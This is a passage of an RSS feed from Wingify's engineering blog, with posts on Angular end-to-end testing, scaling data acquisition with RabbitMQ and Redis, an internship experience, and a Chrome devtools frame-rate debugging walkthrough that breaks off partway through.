string&quot;&gt;&apos;Wingify&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;And more such cool stuff to make end-to-end testing for Angular apps super-easy.&lt;/p&gt; &lt;h2 id=&quot;in-the-end&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#in-the-end&quot; aria-label=&quot;in the end permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;In the end&lt;/h2&gt; &lt;p&gt;e2e testing is important for the apps being written today and hence it becomes important for it to be automated and at the same time fun and easy to perform. There are numerous tools available for you to choose and this article talks about one such tool combination.&lt;/p&gt; &lt;p&gt;Hope this helps you get started. So what are you waiting for, lets write some end-to-end tests!&lt;/p&gt; &lt;p&gt;Using an e2e testing stack you want to share? Let us know in the comments.&lt;/p&gt; &lt;h2 id=&quot;links--references&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#links--references&quot; aria-label=&quot;links references permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Links &amp;#x26; references&lt;/h2&gt; &lt;ul&gt; &lt;li&gt;WebDriverJS user guide: &lt;a href=&quot;https://code.google.com/p/selenium/wiki/WebDriverJs&quot;&gt;https://code.google.com/p/selenium/wiki/WebDriverJs&lt;/a&gt;&lt;/li&gt; &lt;li&gt;WebDriverJS source: &lt;a href=&quot;https://code.google.com/p/selenium/source/browse/javascript/webdriver/&quot;&gt;https://code.google.com/p/selenium/source/browse/javascript/webdriver/&lt;/a&gt;&lt;/li&gt; &lt;li&gt;JSON wire protocol: &lt;a href=&quot;https://code.google.com/p/selenium/wiki/JsonWireProtocol&quot;&gt;https://code.google.com/p/selenium/wiki/JsonWireProtocol&lt;/a&gt;&lt;/li&gt; &lt;li&gt;Jasmine: &lt;a href=&quot;http://pivotal.github.io/jasmine/&quot;&gt;http://pivotal.github.io/jasmine/&lt;/a&gt;&lt;/li&gt; &lt;li&gt;jasmine-node: &lt;a href=&quot;https://github.com/mhevery/jasmine-node&quot;&gt;https://github.com/mhevery/jasmine-node&lt;/a&gt;&lt;/li&gt; &lt;li&gt;Protractor: &lt;a href=&quot;https://github.com/angular/protractor&quot;&gt;https://github.com/angular/protractor&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt;</content:encoded><author>Kushagra Gour</author></item><item><title><![CDATA[Scaling with Queues]]></title><description><![CDATA[Our home-grown geo-distributed architecture based CDN allows us to delivery dynamic javascript content with minimum latencies possible…]]></description><link>https://engineering.wingify.com//posts/scaling-with-queues/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/scaling-with-queues/</guid><pubDate>Mon, 02 Sep 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Our home-grown &lt;a href=&quot;http://visualwebsiteoptimizer.com/split-testing-blog/geo-distributed-architecture/&quot;&gt;geo-distributed architecture&lt;/a&gt; based CDN allows us to delivery dynamic javascript content with minimum latencies possible. Using the same architecture we do data acquisition as well. Over the years we&apos;ve done a lot of changes to our backend, this post talks about some scaling and reliability aspects and our recent work on making fast and reliable data acquisition system using message queues which is in production for about three months now. I&apos;ll start by giving some background on our previous architecture.&lt;/p&gt; &lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Web_bug&quot;&gt;Web beacons&lt;/a&gt; are widely used to do data acquisition, the idea is to have a webpage send us data using an HTTP request and the server sends some valid object. There are many ways to do this. To keep the size of the returned object small, for every HTTP request we return a tiny 1x1 pixel gif image and our geo-distributed architecture along with our managed Anycast DNS service helps us to do this with very low latencies, we aim for less than 40ms. When an HTTP request hits one of our data acquisition servers, &lt;a href=&quot;http://openresty.org&quot;&gt;OpenResty&lt;/a&gt; handles it and our Lua based code processes the request in the same process thread. OpenResty is a &lt;code class=&quot;language-text&quot;&gt;nginx&lt;/code&gt; mod which among many things bundles &lt;code class=&quot;language-text&quot;&gt;luajit&lt;/code&gt; that allows us to write URL handlers in Lua and the code runs within the web server. Our Lua code does some quick checks, transformations and writes the data to a &lt;a href=&quot;http://redis.io&quot;&gt;Redis&lt;/a&gt; server which is used as fast in-memory data sink. The data stored in Redis is later moved, processed and stored in our database servers.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin:5px&quot;&gt; &lt;img src=&quot;/images/2013/09/0.png&quot;&gt;&lt;br&gt; &lt;p&gt;Previous Architecture&lt;/p&gt; &lt;/div&gt; &lt;p&gt;This was the architecture when I had &lt;a href=&quot;http://team.wingify.com/friday-engineering-talks-at-wingify&quot;&gt;joined&lt;/a&gt; Wingify couple of months ago. Things were going smooth but the problem was we were not quite sure about data accuracy and scalability. We used Redis as a fast in-memory data storage sink, which our custom written PHP based queue infrastructure would read from, our backend would process it and write to our database servers. The PHP code was not scalable and after about a week of hacking, exploring options we found few bottlenecks and decided to re-do the backend queue infrastructure.&lt;/p&gt; &lt;p&gt;We explored many &lt;a href=&quot;http://queues.io&quot;&gt;options&lt;/a&gt; and decided to use &lt;a href=&quot;http://www.rabbitmq.com&quot;&gt;RabbitMQ&lt;/a&gt;. We wrote a few proof-of-concept backend programs in Go, Python and PHP and did a lot of testing, benchmarking and real-world &lt;a href=&quot;http://loader.io&quot;&gt;load testing&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Ankit, Sparsh and I discussed how we should move forward and we finally decided to explore two models in which we would replace the home-grown PHP queue system with RabbitMQ. In the first model, we wrote directly to RabbitMQ from the Lua code. In the second model, we wrote a transport agent which moved data from Redis to RabbitMQ. And we wrote RabbitMQ consumers in both cases.&lt;/p&gt; &lt;p&gt;There was no Lua-resty library for RabbitMQ, so I wrote one using &lt;code class=&quot;language-text&quot;&gt;cosocket&lt;/code&gt; APIs which could publish messages to a RabbitMQ broker over STOMP protocol. The library &lt;a href=&quot;https://github.com/wingify/lua-resty-rabbitmqstomp&quot;&gt;lua-resty-rabbitmqstomp&lt;/a&gt; was opensourced for the hacker &lt;a href=&quot;https://groups.google.com/forum/?fromgroups#!forum/openresty-en&quot;&gt;community&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;Later, I rewrote our Lua handler code using this library and ran a &lt;a href=&quot;http://loader.io&quot;&gt;loader.io&lt;/a&gt; load test. It failed this model due to very &lt;a href=&quot;http://ldr.io/154Xf1h&quot;&gt;low throughput&lt;/a&gt;, we performed a load test on a small 1G DigitalOcean instance for both models. For us, the STOMP protocol and slow RabbitMQ STOMP adapter were performance bottlenecks. RabbitMQ was not as fast as Redis, so we decided to keep it and work on the second model. For our requirements, we wrote a proof-of-concept Redis to RabbitMQ transport agent called &lt;code class=&quot;language-text&quot;&gt;agentredrabbit&lt;/code&gt; to leverage Redis as a fast in-memory storage sink and use RabbitMQ as a reliable broker. The &lt;em&gt;POC&lt;/em&gt; worked well in terms of performance, throughput, scalability and failover. In next few weeks we were able to write a production level queue based pipeline for our data acquisition system.&lt;/p&gt; &lt;p&gt;For about a month, we ran the new pipeline in production against the existing one, to A/B test our backend :) To do that we modified our Lua code to write to two different Redis lists, the original list was consumed by the existing pipeline, the other was consumed by the new RabbitMQ based pipeline. The consumer would process and write data to a new database. This allowed us to compare realtime data from the two pipelines. During this period we tweaked our implementation a lot, rewrote the producers and consumers thrice and had two major phases of refactoring.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin:5px&quot;&gt; &lt;img src=&quot;/images/2013/09/1.png&quot;&gt;&lt;br&gt; &lt;p&gt;A/B testing of existing and new architecture&lt;/p&gt; &lt;/div&gt; &lt;p&gt;Based on &lt;a href=&quot;http://ldr.io/1565jPu&quot;&gt;results&lt;/a&gt; against a 1G DigitalOcean instance like for the first model and against the A/B comparison of existing pipeline in realtime, we migrated to the new pipeline based on RabbitMQ. Other issues of HA, redundancy and failover were addressed in this migration as well. The new architecture ensures no single point of failure and has mechanisms to recover from failure and fault.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin:5px&quot;&gt; &lt;img src=&quot;/images/2013/09/2.png&quot;&gt;&lt;br&gt; &lt;p&gt;Queue (RabbitMQ) based architecture in production&lt;/p&gt; &lt;/div&gt; &lt;p&gt;We&apos;ve &lt;a href=&quot;https://github.com/wingify/agentredrabbit&quot;&gt;opensourced &lt;code class=&quot;language-text&quot;&gt;agentredrabbit&lt;/code&gt;&lt;/a&gt; which can be used as a general purpose fast and reliable transport agent for moving data in chunks from Redis lists to RabbitMQ with some assumptions and queue name conventions. The flow diagram below has hints on how it works, checkout the &lt;a href=&quot;https://github.com/wingify/agentredrabbit&quot;&gt;README for details&lt;/a&gt;.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin:5px&quot;&gt; &lt;img src=&quot;/images/2013/09/3.png&quot;&gt;&lt;br&gt; &lt;p&gt;Flow diagram of &quot;agentredrabbit&quot;&lt;/p&gt; &lt;/div&gt; &lt;br&gt; [Discussion on Hacker News](https://news.ycombinator.com/item?id=6359786)</content:encoded><author>Rohit Yadav</author></item><item><title><![CDATA[Internship experience @Wingify]]></title><description><![CDATA[When I got an opportunity of interning with the engineering team at Wingify it made me ecstatic because of an exciting office with…]]></description><link>https://engineering.wingify.com//posts/internship-experience-at-wingify/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/internship-experience-at-wingify/</guid><pubDate>Mon, 05 Aug 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;When I got an opportunity of interning with the engineering team at Wingify it made me ecstatic because of an exciting office with fascinating transparent walls full of geeky stuff, I came across on my first visit for an interview — and of course Wingify is a becoming a buzz word in IT industry.&lt;/p&gt; &lt;p&gt;On my first day I was a bit nervous, dressed and prepared as I believed anyone working from 10:00 am to 7:00 pm would. When I reached the office only the office boy was present — honestly speaking I had a feeling that I am at a wrong place because there was no way a software company should look like at 10:30 in the morning on a working day. After a while I was surrounded by people in shorts, denims, t-shirts with smiling faces having friendly chats.&lt;/p&gt; &lt;p&gt;Working at Wingify provided me with an entirely new set of skills like software development design patterns and maintenance that is going to be invaluable for my future. My work here mainly included front-end optimization and internationalization.&lt;/p&gt; &lt;h3 id=&quot;frontend-optimization-of-visual-website-optimizer-website&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#frontend-optimization-of-visual-website-optimizer-website&quot; aria-label=&quot;frontend optimization of visual website optimizer website permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Frontend optimization of &lt;a href=&quot;http://visualwebsiteoptimizer.com/&quot;&gt;Visual Website Optimizer&lt;/a&gt; website.&lt;/h3&gt; &lt;div class=&quot;img-wrapper&quot;&gt; &lt;video width=&quot;500&quot; height=&quot;320&quot; controls=&quot;true&quot;&gt; &lt;source src=&quot;/videos/vwo-optimize.mp4&quot; type=&quot;video/mp4&quot;&gt;&lt;/source&gt; &lt;source src=&quot;/videos/vwo-optimize.ogg&quot; type=&quot;video/ogg&quot;&gt;&lt;/source&gt; Your browser does not support the video tag. &lt;/video&gt; &lt;/div&gt; &lt;p&gt;Reduced the loading time by 62.16%.&lt;/p&gt; &lt;h3 id=&quot;translation-of-visual-website-optimizer-website&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#translation-of-visual-website-optimizer-website&quot; aria-label=&quot;translation of visual website optimizer website permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Translation of &lt;a href=&quot;http://visualwebsiteoptimizer.com/&quot;&gt;Visual Website Optimizer&lt;/a&gt; website.&lt;/h3&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;http://visualwebsiteoptimizer.jp&quot; title=&quot;Japanese&quot;&gt;日本語&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;http://visualwebsiteoptimizer.nl&quot; title=&quot;Dutch&quot;&gt;Nederlands&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;http://visualwebsiteoptimizer.cn&quot; title=&quot;Chinese&quot;&gt;中国的&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;Worked on template based engine for the translation of web pages in different languages.&lt;/p&gt; &lt;p&gt;I worked along with the marketing team, and this added an additional dimension to my work by interdependent relationship. I also spent my time researching and learning different methods and technologies for various things such as process automation. All these roles and responsibilities taught me to manage time, being attentive and organized, and enhanced problem-solving abilities.&lt;/p&gt; &lt;p&gt;At Wingify you have the solidarity and independence of your own space and an atmosphere where interns like myself would not hesitate to ask questions as they are answered and explained by highly skilled and dedicated engineering team sitting next to you, which makes it easy to get work done. Awesome appreciation mails boost you up with confidence. Personally, I couldn&apos;t have imagined a better internship experience.&lt;/p&gt; &lt;p&gt;Interning with Wingify provides you with a wonderful learning experience. In a nutshell, it is a great place to work and party \m/&lt;/p&gt;</content:encoded><author>Vivek Kishore</author></item><item><title><![CDATA[Getting 60 FPS using Chrome devtools]]></title><description><![CDATA[This post is about making your web page perform better using a real world example. As you know, we recently launched a very cool animated…]]></description><link>https://engineering.wingify.com//posts/getting-60fps-using-devtools/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/getting-60fps-using-devtools/</guid><pubDate>Mon, 29 Jul 2013 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;This post is about making your web page perform better using a real world example. As you know, we recently launched a very cool &lt;a href=&quot;https://visualwebsiteoptimizer.com/what-is-ab-testing/&quot;&gt;animated comic on A/B Testing&lt;/a&gt;. It is scroll animation describing what is A/B testing. I&apos;ll talk about it as an example and walk you through its performance issues, how we debugged them and finally what we did to extract 60 FPS out of it.&lt;/p&gt; &lt;p&gt;The process we see in following text will applies more or less to all web pages in general. Here&apos;s what you need to get started:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;A &lt;a href=&quot;http://jankfree.org/&quot;&gt;janky&lt;/a&gt; web page.&lt;/li&gt; &lt;li&gt;Google Chrome with its awesome devtools.&lt;/li&gt; &lt;li&gt;Determination to make it run as smooth as a hot knife through butter :)&lt;/li&gt; &lt;/ol&gt; &lt;p&gt;Worry not if you are missing any of the above, you can still read on. Let us begin.&lt;/p&gt; &lt;h2 id=&quot;what-is-causing-the-issue&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#what-is-causing-the-issue&quot; aria-label=&quot;what is causing the issue permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;WHAT is causing the issue?&lt;/h2&gt; &lt;p&gt;All we know now is that our page is janky. When you scroll up/down you&apos;ll notice that the animation is quite choppy. There are sudden jumps occasionally while scrolling which is really irritating and obviously a bad user experience. We don&apos;t know what is causing this. The very first step we take here is profile the page using Chrome devtool&apos;s &lt;a href=&quot;https://developers.google.com/chrome-developer-tools/docs/timeline&quot;&gt;Timeline&lt;/a&gt; feature. So I went on and fired up my devtools.&lt;/p&gt; &lt;h3 id=&quot;open-the-devtools&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#open-the-devtools&quot; aria-label=&quot;open the devtools permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Open the devtools&lt;/h3&gt; &lt;div class=&quot;img-wrapper&quot;&gt; &lt;img src=&quot;/images/2013/07/devtools.png&quot; alt=&quot;Chrome devtools&quot;&gt; &lt;/div&gt; &lt;p&gt;Devtools in chrome can be fired either going to &lt;strong&gt;Tools &gt; Developer Tools&lt;/strong&gt; or using the shortcut &lt;strong&gt;Ctrl + Shift + I&lt;/strong&gt; on Windows/Linux and &lt;strong&gt;Cmd + Opt + I&lt;/strong&gt; on Mac.&lt;/p&gt; &lt;h3 id=&quot;select-frames-tab&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#select-frames-tab&quot; aria-label=&quot;select frames tab permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Select frames tab&lt;/h3&gt; &lt;div class=&quot;img-wrapper&quot;&gt; &lt;img src=&quot;/images/2013/07/devetools-frames-tab.png&quot; alt=&quot;Frames tab&quot;&gt; &lt;/div&gt; &lt;p&gt;Frames tab basically will let us visualize each frame individually showing how much time was taken by that frame and for what tasks.&lt;/p&gt; &lt;h3 id=&quot;filter-out-events-taking-more-than-15ms&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#filter-out-events-taking-more-than-15ms&quot; aria-label=&quot;filter out events taking more than 15ms permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Filter out events taking more than 15ms&lt;/h3&gt; &lt;div class=&quot;img-wrapper&quot;&gt; &lt;img src=&quot;/images/2013/07/devtools-15ms.png&quot; alt=&quot;Chrome devtools&quot;&gt; &lt;/div&gt; &lt;p&gt;Note that we are targeting 60 FPS here. A little math here gives us the number &lt;em&gt;16.666 ms&lt;/em&gt; (&lt;code class=&quot;language-text&quot;&gt;1 / 60 * 1000&lt;/code&gt;). This is the time budget available per frame to do its thing if we want a consistent 60 FPS.&lt;/p&gt; &lt;p&gt;Therefore, we essentially want to investigate those frames which are crossing this time limit. To do so, select the &lt;strong&gt;&gt;= 15ms&lt;/strong&gt; option from bottom bar as shown.&lt;/p&gt; &lt;h3 id=&quot;record&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#record&quot; aria-label=&quot;record permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Record&lt;/h3&gt; &lt;div class=&quot;img-wrapper&quot;&gt; &lt;img src=&quot;/images/2013/07/devtools-record.png&quot; alt=&quot;Chrome devtools&quot;&gt; &lt;/div&gt; &lt;p&gt;Press the &apos;Record&apos; button at the bottom to start devtools record what&apos;s happening on the page. Once you do that, go back to the page and interact with the page as one would normally do exposing the issues we are trying to debug.&lt;/p&gt; &lt;p&gt;In my case, the page was feeling choppy while scrolling between slides. So I simply kept scrolling on the page like a normal user. After interacting for a while with the page, I get back to the devtools window and press the same button to stop the recording.&lt;/p&gt; &lt;h3 id=&quot;notice-the-frames&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#notice-the-frames&quot; aria-label=&quot;notice the frames permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Notice the frames&lt;/h3&gt; &lt;div class=&quot;img-wrapper&quot;&gt; &lt;img src=&quot;/images/2013/07/devtools-initial.png&quot; alt=&quot;Chrome devtools&quot;&gt; &lt;/div&gt; &lt;p&gt;You now see the frame data for your page... something like in the snapshot above. In the image you&apos;ll notice a vertical limit with the label 60 FPS just below the label for 30 FPS. These limits are for the frames under which they need to do their stuff if the respective framerate is to be achieved. Once you know this, you&apos;ll straight away conclude that almost all of our frames our crossing that limit like hell! This is the point where we have actually visualized and confirmed the issue. Lets find out the cause.&lt;/p&gt; &lt;h3 id=&quot;script-events-taking-more-than-15ms&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#script-events-taking-more-than-15ms&quot; aria-label=&quot;script events taking more than 15ms permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Script events taking more than 15ms&lt;/h3&gt; &lt;div class=&quot;img-wrapper&quot;&gt; &lt;img src=&quot;/images/2013/07/devtools-initial-script-time.png&quot; alt=&quot;Chrome devtools&quot;&gt; &lt;/div&gt; &lt;p&gt;Every frame&apos;s bar is made of different colour components. In the above snapshots we see only yellow and green ones. A quick look at the color legend in the bottom bar tells us that yellow is script time and green is painting. A closer analysis tells us that most frames are in majority made up of yellow component. This means that most of the frame&apos;s time is spent in executing script.&lt;/p&gt; &lt;p&gt;Moreover if you hover over any small horizontal yellow bars below, as show in the snapshot above, you&apos;ll also see the exact time that our scripts are taking per frame along with the corresponding event that triggered it. In my case, it&apos;s the scroll event (we expected that...no?). Some of those scroll events are taking upto &lt;em&gt;27 ms&lt;/em&gt; which is much much more than our budget of 16ms per frame.&lt;/p&gt; &lt;h3 id=&quot;issue-detected-scroll-event-script&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#issue-detected-scroll-event-script&quot; aria-label=&quot;issue detected scroll event script permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 